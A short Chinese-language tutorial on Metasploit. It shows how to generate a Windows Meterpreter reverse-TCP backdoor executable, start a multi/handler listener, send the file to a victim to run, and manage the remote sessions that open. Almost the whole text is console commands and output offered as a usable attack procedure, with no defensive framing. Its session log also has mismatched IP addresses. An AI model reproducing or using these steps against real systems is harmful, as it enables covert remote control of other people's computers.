Metasploit 最简使用方法

一、后门生成
1.1 调用payloadmsf > use payload/windows/meterpreter/reverse_tcp
1.2 使用show option 命令查看需要配置选项：msf payload(reverse_tcp) > show options Module options (payload/windows/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
1.3 配置payload选项（此地的LHOST为***者的IP地址）msf payload(reverse_tcp) > set LHOST 172.16.0.102LHOST => 172.16.0.102
msf payload(reverse_tcp) > show options Module options (payload/windows/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.16.0.102 yes The listen address LPORT 4444 yes The listen port

1.4 生成后门文件（-t 后制定后门文件的类型，本例为exe ； -f 制定文件路径和文件名）msf payload(reverse_tcp) > generate -t exe -f /Users/jiangzhehao/Downloads/4.exe[*] Writing 73802 bytes to /Users/jiangzhehao/Downloads/4.exe...

二、配置漏洞利用端2.1 配置exploit/multi/handler作为利用端msf > use exploit/multi/handler

2.2 选择前边生成后门对应的payloadmsf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcp
2.3 配置选项中需要的监听地址和端口msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
Exploit target: Id Name -- ---- 0 Wildcard Target
msf exploit(handler) > set LHOST 172.16.0.102LHOST => 172.16.0.102
2.4 配置完成后使用exploit命令开始监听msf exploit(handler) > exploit [*] Started reverse TCP handler on 172.16.0.102:4444 [*] Starting the payload handler...

三、将生成的后门发送给客户端执行
四、在监听下的命令行等待客户端上线，上线后会出现如下提示：
[*] Sending stage (957999 bytes) to 172.16.0.102[*] Meterpreter session 1 opened (172.16.0.102:4444 -> 172.16.0.102:53175) at 2016-05-08 20:12:37 +0800meterpreter > exit[*] Shutting down Meterpreter...[*] 192.168.231.128 - Meterpreter session 1 closed. Reason: User exitmsf exploit(handler) > （一旦服务端退出，客户端也会随即退出）
附：1、生成的后门可以支持多种格式，具体如下：bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,psh-cmd,vba,vba-exe,vba-psh,vbs,war

2、返回的连接可以使用background 将当前连接切换到后台运行；
3、切换到后台的会话可以使用session -i查看到，然后使用session -i id 将后台的会话切换回前台；
4、切换到后台的会话可以使用session -i查看到，还可以使用session -k id 将后台指定会话中断；